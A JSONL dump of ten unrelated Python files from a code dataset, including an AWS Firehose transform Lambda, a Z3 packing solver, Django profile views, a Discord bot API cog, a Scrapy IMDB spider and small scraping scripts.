+{"seq_id":"559043432","text":"import json\nimport base64\nimport traceback\nfrom datetime import datetime\n\ndef handler(event, context):\n    output = []\n    for record in event[\"records\"]:\n        try:\n            # Base64 decode record data and JSON parse data\n            entry = base64.b64decode(record[\"data\"]).decode(\"utf-8\")\n            parsed_entry = json.loads(entry)\n            payload = parsed_entry[\"detail\"][\"data\"]\n            payload[\"timestamp\"] = payload[\"date\"]\n            del payload[\"date\"]\n            payload[\"details\"] = json.dumps(payload[\"details\"])\n            \n            # Add new line to payload string, Base64 encode payload and return transformed record\n            decoded_data = json.dumps(payload) + \"\\n\"\n            encoded_data = base64.b64encode(decoded_data.encode(\"utf-8\")).decode(\"utf-8\")\n            output.append({\n                \"recordId\": record[\"recordId\"],\n                \"result\": \"Ok\",\n                \"data\": encoded_data,\n            })\n        except:\n            # If an error occurs, print error and return record as having failed processing\n            traceback.print_exc()\n            output.append({\n                \"recordId\": record[\"recordId\"],\n                \"result\": \"ProcessingFailed\",\n                \"data\": record[\"data\"],\n            })\n    return {\n        \"records\": output\n    }","sub_path":"lambdas/firehose-transform/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"202470554","text":"import _thread\nimport youtube_dl\n\n\nclass PlayerPlaylist:\n    def __init__(self, channel, voice_client, source):\n        self.channel = channel\n        self.voice_client = voice_client\n        self.source = source\n        self.urls = []\n        self.completed = False\n        self.youtube_dl_options = dict(\n            ignoreerrors=True,\n            noplaylist=False,\n            default_search=\"auto\",\n            quiet=True,\n            nocheckcertificate=True,\n            abortonerror=False\n        )\n        try:\n            _thread.start_new_thread(self.download_playlist_info, ())\n        except Exception as e:\n            print(e)\n            pass\n\n    def download_playlist_info(self):\n        with youtube_dl.YoutubeDL(self.youtube_dl_options) as ytdl:\n            ytdl_playlist = ytdl.extract_info(self.source, download=False)\n        for video in ytdl_playlist['entries']:\n            if video is not None:\n                self.urls.append(video['webpage_url'])\n        self.completed = True\n","sub_path":"PlayerPlaylist.py","file_name":"PlayerPlaylist.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"166463739","text":"#!/usr/bin/env python\n\nimport os\nimport argparse\nimport time\nfrom z3 import *\nfrom itertools import combinations\nfrom typing import Sequence\n\n\n# Cumulative constraint\ndef cumulative(solver, S: Sequence, D: Sequence, R: Sequence, C: int):\n    # Iterate over the durations\n    for u in D:\n        solver.add(\n            Sum(\n                [If(And(S[i] <= u, u < S[i] + D[i]), R[i], 0) for i in range(len(S))]\n            ) <= C)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-i\", \"--in_path\", help=\"Path to the file constaining the input instance\", required=True, type=str)\n    parser.add_argument(\"-o\", \"--out_path\", help=\"Path to the directory that will contain the output solution\", required=True, type=str)\n    parser.add_argument(\"-t\", \"--timeout\", help=\"Timeout in seconds (300 by default)\", required=False, type=int)\n    parser.add_argument(\"-ic\", \"--implied\", help=\"Don't use implied constraints (they're used by default)\", action='store_false')\n    args = parser.parse_args()\n    \n    # Read the input instance\n    input_filename = args.in_path\n    w, h, n, DX, DY = None, None, None, None, None\n    with open(input_filename, 'r') as f_in:\n        lines = f_in.read().splitlines()\n\n        split = lines[0].split(' ')\n        w = int(split[0])\n        h = int(split[1])\n\n        n = int(lines[1])\n\n        DX = []\n        DY = []\n\n        for i in range(int(n)):\n            split = lines[i + 2].split(' ')\n            DX.append(int(split[0]))\n            DY.append(int(split[1]))\n\n    # Define solver and base model\n    solver = Solver()\n    XY = [(Int(f'XY_{i}_0'), Int(f'XY_{i}_1')) for i in range(n)]\n\n    # Define auxiliary variables\n    R = [Bool(f'R_{i}') for i in range(n)]  # rotation\n    TRUE_DX = [If(And(DX[i] != DY[i], R[i]), DY[i], DX[i]) for i in range(n)]  # actual X dimension\n    TRUE_DY = [If(And(DX[i] != DY[i], R[i]), DX[i], DY[i]) for i in range(n)]  # actual Y dimension\n\n    print('Adding constraints...')\n\n    # Non-overlapping constraint\n    for (i, j) in combinations(range(n), 2):\n        solver.add(Or(XY[i][0] + TRUE_DX[i] <= XY[j][0], \n                    XY[j][0] + TRUE_DX[j] <= XY[i][0],\n                    XY[i][1] + TRUE_DY[i] <= XY[j][1],\n                    XY[j][1] + TRUE_DY[j] <= XY[i][1]))\n\n    # Boundaries consistency constraint\n    for i in range(n):\n        solver.add(XY[i][0] >=0)\n        solver.add(XY[i][1] >= 0)\n        solver.add(XY[i][0] + TRUE_DX[i] <= w)\n        solver.add(XY[i][1] + TRUE_DY[i] <= h)\n\n    if args.implied:\n        # Implied constraints\n        cumulative(solver,\n                S=list(map(lambda t: t[0], XY)),  # take x coordinates\n                D=TRUE_DX,\n                R=TRUE_DY,\n                C=h)\n        cumulative(solver,\n                S=list(map(lambda t: t[1], XY)),  # take y coordinates\n                D=TRUE_DY,\n                R=TRUE_DX,\n                C=w)\n    else:\n        print('Implied constraints disabled.')\n\n    # Set timeout for solver (in msec)\n    timeout = args.timeout * 1000 if args.timeout is not None else 300000\n    solver.set('timeout', timeout)\n\n    print('Checking the model...')\n    start_time = time.time()\n    res = solver.check()\n    elapsed_time = time.time() - start_time\n    print(f'Elapsed: {elapsed_time:.3f} s')\n\n    if res == sat:\n        print('The instance is SAT.')\n        model = solver.model()\n\n        xy = [(model[XY[i][0]], model[XY[i][1]]) for i in range(n)]\n        r = [model[R[i]] for i in range(n)]\n\n        # Write solution to file\n        instance_name = input_filename.split('/')[-1]\n        instance_name = instance_name[:len(instance_name) - 4]\n        output_filename = os.path.join(args.out_path, instance_name + '-out.txt')\n        with open(output_filename, 'w') as f_out:\n            f_out.write(f'{w} {h}\\n')\n            f_out.write(f'{n}\\n')\n            for i in range(n):\n                f_out.write(f'{DY[i] if r[i] else DX[i]} {DX[i] if r[i] else DY[i]}\\t{xy[i][0]} {xy[i][1]}\\n')\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"SMT/src/pwp-rotation.py","file_name":"pwp-rotation.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"177263563","text":"import unittest\nfrom here.geocoder import *\nimport requests_mock\n\n\nclass TestGeocoder(unittest.TestCase):\n    @requests_mock.mock()\n    def test_geocode(self, m):\n        geocoder = Geocoder()\n\n        test_address = \"AV ANTONIO MUNHOZ BONILHA, 132, Sao Paulo, Brasil\"\n\n        endpoint = geocoder.geocode_url + \"?app_id={0}&app_code={1}&gen={2}&searchtext={3}\" \\\n            .format(geocoder.app_id,\n                    geocoder.app_code,\n                    9,\n                    test_address)\n\n        m.get(endpoint,\n              content=open('here/tests/data/geocoder.json').read())\n\n        self.assertEqual(geocoder.geocode(test_address), (-23.50286, -46.68465))\n","sub_path":"here/tests/test_geocoder.py","file_name":"test_geocoder.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"511365377","text":"import bpy, colorsys\nfrom bpy.props import *\nfrom ... events import executionCodeChanged\nfrom ... base_types.node import AnimationNode\n\n# using linear conversion here, unlike BL colorpicker hsv/hex\n# BL Color() funcion does this also and has only rgb+hsv, so we'l use colorsys\n# only hsv/hex in the colorpicker are gamma corrected for colorspaces\n# we shall not use other functions, till they are in context (BL color space)\n\ntargetTypeItems = [\n    (\"RGB\", \"RGB\", \"Red, Green, Blue\"),            \n    (\"HSV\", \"HSV\", \"Hue, Saturation, Value\"),      \n    (\"HSL\", \"HSL\", \"Hue, Saturation, Lightness\"),  \n    (\"YIQ\", \"YIQ\", \"Luma, Chrominance\")]           \n\nclass SeparateColorNode(bpy.types.Node, AnimationNode):\n    bl_idname = \"an_SeparateColorNode\"\n    bl_label = \"Separate Color\"\n    \n    def targetTypeChanged(self, context):\n        self.updateHideStatus()\n        executionCodeChanged()\n        \n    targetType = EnumProperty(name = \"Target Type\", items = targetTypeItems,\n                                    default = \"RGB\", update = targetTypeChanged)\n\n    def create(self):\n        self.inputs.new(\"an_ColorSocket\", \"Color\", \"color\")\n        \n        self.outputs.new(\"an_FloatSocket\", \"Red\", \"r\")\n        self.outputs.new(\"an_FloatSocket\", \"Green\", \"g\")\n        self.outputs.new(\"an_FloatSocket\", \"Blue\", \"b\")\n        \n        self.outputs.new(\"an_FloatSocket\", \"Hue\", \"h\")\n        self.outputs.new(\"an_FloatSocket\", \"Saturation\", \"s\")\n        self.outputs.new(\"an_FloatSocket\", \"Value\", \"v\")\n        \n        #same H, S (attention HLS/HSL order! using HSL for sockets, but function does hls)\n        self.outputs.new(\"an_FloatSocket\", \"Lightness\", \"l\")\n        \n        self.outputs.new(\"an_FloatSocket\", \"Y Luma\", \"y\")\n        self.outputs.new(\"an_FloatSocket\", \"I In phase\", \"i\")\n        self.outputs.new(\"an_FloatSocket\", \"Q Quadrature\", \"q\")\n        \n        self.outputs.new(\"an_FloatSocket\", \"Alpha\", \"alpha\")\n        self.updateHideStatus()\n        \n    def draw(self, layout):\n        layout.prop(self, \"targetType\", expand = True)\n        \n    def drawLabel(self):\n        return \"--> \" + self.targetType + \"a (Linear)\"\n    \n    def getExecutionCode(self):\n        yield \"r = g = b = h = s = v = l = y = i = q = 0\"\n        if self.targetType == \"RGB\":    yield \"r, g, b = color[0], color[1], color[2]\"\n        elif self.targetType == \"HSV\":  yield \"h, s, v = colorsys.rgb_to_hsv(color[0], color[1], color[2])\"\n        elif self.targetType == \"HSL\":  yield \"h, l, s = colorsys.rgb_to_hls(color[0], color[1], color[2])\"#attention to the HLS order!\n        elif self.targetType == \"YIQ\":  yield \"y, i, q = colorsys.rgb_to_yiq(color[0], color[1], color[2])\"\n        yield \"alpha = color[3]\"\n    \n    def getUsedModules(self):\n        return [\"colorsys\"]\n\n    def updateHideStatus(self):\n        for socket in self.outputs[:-1]: socket.hide = True\n\n        if self.targetType == \"RGB\":\n            self.outputs[\"Red\"].hide = False\n            self.outputs[\"Green\"].hide = False\n            self.outputs[\"Blue\"].hide = False\n        elif self.targetType == \"HSV\":\n            self.outputs[\"Hue\"].hide = False\n            self.outputs[\"Saturation\"].hide = False\n            self.outputs[\"Value\"].hide = False\n        elif self.targetType == \"HSL\":\n            self.outputs[\"Hue\"].hide = False\n            self.outputs[\"Saturation\"].hide = False\n            self.outputs[\"Lightness\"].hide = False\n        elif self.targetType == \"YIQ\":\n            self.outputs[\"Y Luma\"].hide = False\n            self.outputs[\"I In phase\"].hide = False\n            self.outputs[\"Q Quadrature\"].hide = False\n","sub_path":"nodes/color/separate_color.py","file_name":"separate_color.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"343341864","text":"import socket, sys\nfrom Framework.Client import *\nfrom Framework.Execution import *\n\n\nclass Server(object):\n    def __init__(self, hostname, port, path=\"bin/\", max_capacity=10, connect_buffer=2, connection_timeout=0.01):\n        self.hostname = hostname\n        self.port = port\n        self.path = path\n        self.max_capacity = max_capacity\n        self.connect_buffer = connect_buffer\n        self.connection_timeout = connection_timeout\n        self.socket = None\n        self.clients = []\n        self.alive = True\n        self.permissions = ROOT\n\n        try:\n            startup_commands = open(self.path + 'startup.txt').readlines()\n            for command in startup_commands:\n                args = command.replace('\\n', '').split(' ')\n                print(run_command(self, self, args[0], args[1:]))\n        except FileNotFoundError:\n            print('No startup file detected!')\n\n    def start(self):\n        try:\n            self.socket = socket.socket()\n            self.socket.setblocking(True)\n            self.socket.settimeout(self.connection_timeout)\n            self.socket.bind((self.hostname, self.port))\n            self.socket.listen(self.connect_buffer)\n        except OSError:\n            print('Operating System Error')\n            sys.exit(1)\n\n        self.run()\n\n    def run(self):\n        while self.alive:\n            try:  # Checks for any clients waiting to connect\n                if len(self.clients) < self.max_capacity:\n                    conn, addr = self.socket.accept()\n                    print(\"Connection from\", addr)\n                    conn.settimeout(self.connection_timeout)\n                    client = Client(conn, addr)\n                    self.clients.append(client)\n            except TimeoutError:\n                pass\n            except OSError:\n                pass\n\n            delete_list = []\n            for client in self.clients:\n                data = b''\n                success = False\n                while True:\n                    try:\n                        data += client.recv(4096)\n                        success = True\n                    except ConnectionError:\n                        delete_list.append(client)\n                        client.disconnect()\n                        print(\"Disconnection by\", client.addr)\n                        success = False\n                        break\n                    except socket.timeout:\n                        break\n\n                data = data.decode()\n                if success:\n                    print(client.get_name() + ': ' + data)\n                    data = data.split(' ')\n                    reply = run_command(self, client, data[0], data[1:])\n                    client.send(reply.encode())\n\n            for client in delete_list:\n                self.clients.remove(client)\n\n    def send(self, client, data):\n        client.send(data)\n\n    def send_to_all(self, data):\n        for client in self.clients:\n            client.send(data)\n\n    def get_permissions(self):\n        return self.permissions\n\n    def get_name(self):\n        return '[Server]'\n\n    def shutdown(self):\n        for client in self.clients:\n            client.disconnect()\n        self.alive = False\n","sub_path":"ges/GCEServer.py","file_name":"GCEServer.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"312018197","text":"from django.shortcuts import render, get_object_or_404\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Sum\nfrom django.contrib.auth.models import User\nfrom .models import UserProfile\nfrom .forms import UserProfileForm\n\nfrom blog.models import Post\nfrom recipes.models import Recipe\n\nfrom checkout.models import Order\n\n\n@login_required\ndef profile(request):\n    \"\"\" Display the user's profile \"\"\"\n\n    profile = get_object_or_404(UserProfile, user=request.user)\n    user = get_object_or_404(User, id=request.user.id)\n    posts = Post.objects.all()\n    recipes = Recipe.objects.all()\n\n    if request.method == 'POST':\n        form = UserProfileForm(request.POST, instance=profile)\n        if form.is_valid():\n            form.save()\n            messages.success(request, 'Profile successfully updated!')\n        else:\n            messages.error(request, 'Update failed. Please ensure \\\n                the form is valid.')\n\n    # Populate the form with the user's profile info\n    else:\n        form = UserProfileForm(instance=profile)\n    orders = profile.orders.all().order_by('-pk')\n    user_posts = user.blog_posts.all().order_by('-pk')\n\n    # See all my recipes by vote count first, then newest to oldest\n    user_recipes = user.recipe_posts.all().order_by('-vote_count', '-pk')\n\n    # Get number of votes for the user's published recipes\n    all_votes = user_recipes.aggregate(num_votes=Sum(\n                                       'vote_count')).get('num_votes')\n    template = 'profiles/profile.html'\n    context = {\n        'form': form,\n        'orders': orders,\n        'on_profile_page': True,\n        'posts': posts,\n        'recipes': recipes,\n        'user_posts': user_posts,\n        'user_recipes': user_recipes,\n        'all_votes': all_votes,\n    }\n\n    return render(request, template, context)\n\n\ndef order_history(request, order_number):\n    order = get_object_or_404(Order, order_number=order_number)\n    posts = Post.objects.all().order_by('-pk')\n    recipes = Recipe.objects.all().order_by('-pk')\n\n    messages.warning(request, (\n        f'This is a past confirmation for order number {order_number}.'\n        'A confirmation email was sent on the order date.'\n    ))\n    template = 'checkout/checkout_success.html'\n    context = {\n        'order': order,\n        'posts': posts,\n        'recipes': recipes,\n        'from_profile': True,\n    }\n\n    return render(request, template, context)\n","sub_path":"profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"476909938","text":"\"\"\"\nCreates a benchmark by predicting the most popular skus in each category\n\"\"\"\n\nfrom collections import defaultdict\nimport csv\n\nwd = \"../../data/downloaded/small/\"\n\ndef get_popular_skus():\n    \"\"\"Returns a dictionary of the most popular skus in each category\"\"\"\n    with open(wd + \"train.csv\") as infile:\n        reader = csv.reader(infile, delimiter=\",\")\n        reader.next() # burn the header\n\n        categories = defaultdict(lambda: defaultdict(int))\n        for (user, sku, category, query, click_time, query_time) in reader:\n            categories[category][sku] += 1\n\n        for category in categories:\n            categories[category] = sorted(categories[category].items(), \\\n                                          key=lambda x: x[1])\n            categories[category].reverse()\n        return categories\n\ndef make_predictions(categories):\n    \"\"\"Write the predictions out\"\"\"\n    with open(wd + \"test.csv\") as infile:\n        reader = csv.reader(infile, delimiter=\",\")\n        reader.next() # burn the header\n        with open(\"popular_skus.csv\", \"w\") as outfile:\n            writer = csv.writer(outfile, delimiter=\",\")\n            writer.writerow([\"sku\"])\n            for (user, category, query, click_time, query_time) in reader:\n                try:\n                    guesses = [x[0] for x in categories[category][0:5]]\n                    writer.writerow([\" \".join(guesses)])\n                except TypeError: # a category we haven't seen before\n                    writer.writerow([\"0\"])\n\ndef main():\n    \"\"\"Creates the benchmark\"\"\"\n    categories = get_popular_skus()\n    make_predictions(categories)\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"popular_skus.py","file_name":"popular_skus.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"254952127","text":"import secrets\nfrom datetime import timedelta\nfrom typing import List\n\nfrom discord.ext.commands import Cog, Context\nimport discord\n\nfrom src.user_command import UserCommand, VaguePatternError, LongResponseException, ShortTriggerException\nfrom src.user_command import ResponseKeywordException, DuplicatedTriggerException, update_command\nfrom lib.status_codes import StatusCodes as sc\nfrom lib.config import logger\nfrom src.api.util import fetch_guild\nfrom src.api.mock_discord import MockMember, MockMessage, LogActions\n\n\nclass Api(Cog):\n\n    def __init__(self, bot):\n        self.bot = bot\n        self.fake_messages = {}\n\n    async def api_entry(self, method_name, *args, **kwargs):\n        \"\"\"Callback method for the rpc server\n\n        :param method_name: name of the method to execute\n        :param *args: args to pass through\n        :param **kwargs: kwargs to pass through\n        \"\"\"\n        try:\n            assert not method_name.startswith('_')\n            method = getattr(self, method_name)\n        except (AttributeError, AssertionError):\n            logger.warning(f\"Someone tried to call '{method}' but it doesn't exist (or is private)\")\n            return {\"message\": \"No such method\"}, sc.NOT_FOUND_404\n\n        try:\n            return await method(*args, **kwargs)\n        except Exception as e:\n            logger.exception(f\"caught exception while handling remote request\")\n            return {\"message\": f\"'{e}'\"}, sc.INTERNAL_SERVER_ERROR_500\n\n    async def ping(self):\n        return {'message': 'pong'}, sc.OK_200\n\n    async def guild_count(self):\n        return await self.bot.manager_client.guild_count()\n\n    async def set_response(self, user_id, guild_id, trigger, response):\n        guild = self.bot.get_guild(int(guild_id))\n        try:\n            command = UserCommand(self.bot.session, self.bot, trigger, response, 0, guild, user_id, new=True)\n        except VaguePatternError:\n            msg = \"Capture group too broad.\"\n            code = sc.NOT_ACCEPTABLE_406\n        except LongResponseException:\n            msg = \"Response is too long.\"\n            code = sc.PAYLOAD_TOO_LARGE_413\n        except ShortTriggerException:\n            msg = \"Trigger is too short.\"\n            code = sc.LENGTH_REQUIRED_411\n        except ResponseKeywordException:\n            msg = \"That response is protected, please use another.\"\n            code = sc.NOT_ACCEPTABLE_406\n        except DuplicatedTriggerException:\n            msg = \"Remove duplicated trigger first.\"\n            code = sc.CONFLICT_409\n        else:\n            self.bot.user_commands[guild_id].append(command)\n            msg = 'Successfully Set'\n            code = sc.OK_200\n        return {'message': msg}, code\n\n    async def is_member(self, user_id, guild_id, admin=False):\n        '''check if user is a member or admin of the given guild'''\n        guild = self.bot.get_guild(int(guild_id))\n        if not guild:\n            return {'member': False}, sc.OK_200\n        settings = self.bot.settings[guild]\n        return {\n            'member': bool(guild.get_member(int(user_id))) and (not admin or int(user_id) in settings.admins_ids)\n        }, sc.OK_200\n\n    async def get_permissions(self, user_id: int, guild_id: int):\n        guild = self.bot.get_guild(int(guild_id))\n        settings = self.bot.settings[guild]\n        default = not guild or not settings and user_id not in settings.admin_ids\n        return {'permissions': 274 if default else 65535}\n\n    async def delete_response(self, user_id, guild_id, trigger):\n        guild = self.bot.get_guild(int(guild_id))\n\n        for oldcommand in self.bot.user_commands[guild_id]:\n            if oldcommand.raw_trigger == oldcommand.filter_trigger(trigger):\n                if oldcommand.author_id == user_id or user_id in self.bot.settings[guild].admin_ids:\n                    self.bot.user_commands[guild_id].remove(oldcommand)\n                    update_command(self.bot.session, oldcommand.raw_trigger, '', 0, guild, user_id, delete=True)\n                    return {'message': \"Successfully Deleted\"}, sc.OK_200\n                else:\n                    return {'message': \"Not authorized\"}, sc.UNAUTHORIZED_401\n        return {'message': \"No such command.\"}, sc.NOT_FOUND_404\n\n    async def fetch_user_dict(self, id):\n        usr = self.bot.get_user(int(id))\n        if usr is None:\n            return {'message': \"No such user\"}, sc.NOT_FOUND_404\n        return {\n            'name': usr.name,\n            'avatar': usr.avatar,\n            'discriminator': usr.discriminator\n        }, sc.OK_200\n\n    async def get_emoji(self, id):\n        e = self.bot.get_emoji(int(id))\n        if e is None:\n            return {'message': \"No such emoji\"}, sc.NOT_FOUND_404\n        return {\n            'name': e.name,\n            'url': str(e.url)\n        }, sc.OK_200\n\n    async def get_extensions(self):\n        return {'extensions': [k for k in self.bot.extensions.keys()]}, sc.OK_200\n\n    async def reload_extension(self, extension_name):\n        name = extension_name.replace('-', '.')\n        try:\n            self.bot.reload_extension(name)\n        except discord.ext.commands.errors.ExtensionNotLoaded as e:\n            logger.exception(\"Couldn't load extension\")\n            return {\"message\": f\"Extension Not Loaded: {e}\"}, sc.SERVICE_UNAVAILABLE_503\n        return {\"message\": \"Reload signal sent\"}, sc.OK_200\n\n    @fetch_guild\n    async def bin_messages(self, guild):\n        stats_cog = self.bot.cogs[\"Server Statistics\"]\n        members, channels, times = stats_cog.bin_messages(guild, timedelta(minutes=5))\n        return {\n            'total': len(stats_cog.cache[guild.id]),\n            'members': members,\n            'channels': channels,\n            'times': times,\n        }, sc.OK_200\n\n    @fetch_guild\n    async def get_guild_data(self, guild):\n        return {\n            'name': guild.name,\n            'member_count': guild.member_count,\n        }, sc.OK_200\n\n    @fetch_guild\n    async def settings_access(self, guild, setting=None, value=None):\n        settings = self.bot.settings[guild]\n        if hasattr(settings, setting):\n            return {'value': getattr(settings, setting)}, sc.OK_200\n        return {'value': \"unknown setting\"}, sc.NOT_FOUND_404\n\n    async def tag_autbot_guilds(self, guild_list, user_id: int):\n        all_guilds, _ = await self.bot.manager_client.all_guilds()\n        for guild_dict in guild_list:\n            for guild in all_guilds:\n                if str(guild['id']) == guild_dict['id']:\n                    guild_dict['has_architus'] = True\n                    guild_dict['architus_admin'] = user_id in guild['admin_ids']\n                    break\n            else:\n                guild_dict.update({'has_architus': False, 'architus_admin': False})\n        return {'guilds': guild_list}, sc.OK_200\n\n    async def handle_mock_user_action(\n            self,\n            action: int = None,\n            messageId: int = None,\n            guildId: int = None,\n            content: str = None,\n            allowedCommands: List[str] = (),\n            emoji: str = None,\n            silent: bool = False):\n\n        message_id = messageId\n        guild_id = guildId\n        allowed_commands = allowedCommands\n\n        # this is very scuffed. guilds under this number won't have their responses added to the db\n        assert guild_id < 10000000\n\n        if action is None or message_id is None or guild_id is None:\n            return {'message': \"missing arguments\"}, sc.BAD_REQUEST_400\n\n        sends = []\n        reactions = []\n        self.fake_messages.setdefault(guild_id, {})\n        resp_id = secrets.randbits(24) | 1\n\n        if action == LogActions.MESSAGE_SEND:\n            args = content.split()\n\n            # intersection of commands that exist and commands they're allowed to see\n            possible_commands = [cmd for cmd in self.bot.commands if cmd.name in allowed_commands]\n\n            # check if they triggered help command\n            if args[0][1:] == 'help':\n                help_text = ''\n                for cmd in possible_commands:\n                    try:\n                        if args[1] in cmd.aliases or args[1] == cmd.name:\n                            help_text += f'```hi{args[1]} - {cmd.help}```'\n                            break\n                    except IndexError:\n                        help_text += f'```{cmd.name}: {cmd.help:>5}```\\n'\n\n                sends.append(help_text)\n            else:\n                # check if they triggered a builtin command\n                triggered_command = None\n                for cmd in possible_commands:\n                    if args[0][1:] in cmd.aliases + [cmd.name]:\n                        triggered_command = cmd\n                        break\n\n                mock_message = MockMessage(self.bot, message_id, sends, reactions, guild_id, content=content,\n                                           resp_id=resp_id)\n                self.fake_messages[guild_id][message_id] = mock_message\n\n                self.bot.user_commands.setdefault(int(guild_id), [])\n                if triggered_command:\n                    # found builtin command, creating fake context\n                    ctx = Context(**{\n                        'message': mock_message,\n                        'bot': self.bot,\n                        'args': args[1:],\n                        'prefix': content[0],\n                        'command': triggered_command,\n                        'invoked_with': args[0]\n                    })\n                    # override send, so ctx sends go to our list\n                    ctx.send = lambda content: sends.append(content)\n                    await ctx.invoke(triggered_command, *args[1:])\n                else:\n                    # no builtin, check for user set commands in this \"guild\"\n                    for command in self.bot.user_commands[mock_message.guild.id]:\n                        if command.triggered(mock_message.content):\n                            await command.execute(mock_message)\n                            break\n\n            # Prevent response sending for silent requests\n            if silent or not sends:\n                sends = ()\n                resp_id = None\n            else:\n                mock_message = MockMessage(self.bot, resp_id, sends, reactions, guild_id, content='\\n'.join(sends))\n                self.fake_messages[guild_id][resp_id] = mock_message\n\n            resp = {\n                'guildId': guild_id,\n                'actions': [{\n                    'action': LogActions.MESSAGE_SEND,\n                    'content': '\\n'.join(sends),\n                    'messageId': resp_id,\n                }]\n            }\n            resp['actions'] += [{\n                'action': LogActions.REACTION_ADD,\n                'emoji': r[1],\n                'messageId': resp_id,\n            } for r in reactions]\n\n        elif action == LogActions.MESSAGE_DELETE:\n            pass\n\n        elif action == LogActions.REACTION_ADD:\n            resp_id = message_id\n            fkmsg = self.fake_messages[guild_id][resp_id]\n            fkmsg.sends = sends\n            react = await fkmsg.add_reaction(emoji, bot=False)\n            await self.bot.cogs[\"Events\"].on_reaction_add(react, MockMember())\n\n            resp = {\n                'guildId': guild_id,\n                'actions': ({\n                    'action': LogActions.MESSAGE_EDIT,\n                    'content': '\\n'.join(sends),\n                    'messageId': resp_id,\n                },)\n            }\n        elif action == LogActions.REACTION_REMOVE:\n            resp_id = message_id\n            fkmsg = self.fake_messages[guild_id][resp_id]\n            fkmsg.sends = [fkmsg.content]\n            react = await fkmsg.remove_reaction(emoji)\n            await self.bot.cogs[\"Events\"].on_reaction_remove(react, MockMember())\n\n            resp = {\n                'guildId': guild_id,\n                'actions': ({\n                    'action': LogActions.MESSAGE_EDIT,\n                    'content': '\\n'.join(sends),\n                    'messageId': resp_id,\n                },)\n            }\n\n        return resp, sc.OK_200\n\n\ndef setup(bot):\n    bot.add_cog(Api(bot))\n","sub_path":"shard/src/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":12171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"262645020","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom urllib import parse\nfrom scrapy.http import Request\nimport re\nfrom Article.items import MovieItem,ArticleItem\nfrom scrapy.loader import ItemLoader\n\n\nclass JobboleSpider(scrapy.Spider):\n    name = 'IMDB'\n    allowed_domains = ['www.imdb.com']\n    start_urls = ['http://www.imdb.com/chart/top']\n\n    def parse(self, response):\n        movies_nodes= response.css('.lister-list tr')\n        for node in movies_nodes:\n\n            avatar_url=[]\n            movie_avatar= node.css('.posterColumn img::attr(src)').extract_first(\"\")\n            movie_url= node.css('.titleColumn a::attr(href)').extract_first(\"\")\n            title= node.css('.titleColumn a::text').extract_first(\"\")\n            year = node.css('.titleColumn span::text').extract_first(\"\")\n            if year:\n                res = (re.match(\".*(\\d{4}).*\",year))\n                if res:\n                    year=int(res.group(1))\n            rating = node.css(\".imdbRating strong::text\").extract_first(\"\")\n\n\n            print(parse.urljoin(response.url,movie_url))\n            yield  Request(url=(parse.urljoin(response.url,movie_url)),\n                    meta={\"title\":title,\"year\":year,\"rating\":rating,\"movie_avatar\":movie_avatar},\n                    callback=self.parse_detail)\n\n\n    def parse_detail(self,response):\n        Movie_Item=MovieItem()\n        summury= response.css(\".plot_summary \")\n        desc= summury.css('.summary_text::text').extract()[0].strip().split(\"\\n\")\n        director= summury.css('span[itemprop=\"director\"] span::text').extract()\n        cast = summury.css('span[itemprop=\"actors\"] a span::text').extract()\n        video_url=\"http://www.imdb.com\"+response.css('.video_slate a::attr(href)').extract_first(\"\")\n        count=1\n        Movie_Item[\"title\"]=response.meta[\"title\"]\n        Movie_Item[\"year\"] = response.meta.get(\"year\", \"\")\n        Movie_Item[\"rating\"] = response.meta.get(\"rating\", \"\")\n        avatar_url=[]\n        video_urls=[]\n        avatar_url.append(response.meta.get(\"movie_avatar\", \"\"))\n        video_urls.append(video_url)\n        Movie_Item[\"movie_avatar\"] = avatar_url\n        Movie_Item[\"desc\"] = \",\".join(desc)\n        Movie_Item[\"director\"] = \"/\".join(director)\n        Movie_Item[\"cast\"] = \"/\".join(cast)\n        Movie_Item[\"video_url\"] = video_url\n        item_loader=ItemLoader(item = MovieItem(),response=response)\n        return Movie_Item\n\n","sub_path":"IMDB.py","file_name":"IMDB.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"450735384","text":"import bs4\nimport requests\n\nsong_name = input(\"Enter name of song\")\nartist_name = input(\"Enter name of artist\")\n\nsong_name = song_name.replace(\" \",\"-\")\nartist_name = artist_name.replace(\" \",\"-\")\n\nurl = \"https://genius.com/\"+artist_name+\"-\"+song_name+\"-lyrics\"\nreq = requests.get(url)\nsoup = bs4.BeautifulSoup(req.text,\"lxml\")\nlyrics = soup.select(\"p\")\nlyrics = lyrics[0].text\nprint(lyrics)\n\n","sub_path":"LyricsScraper.py","file_name":"LyricsScraper.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
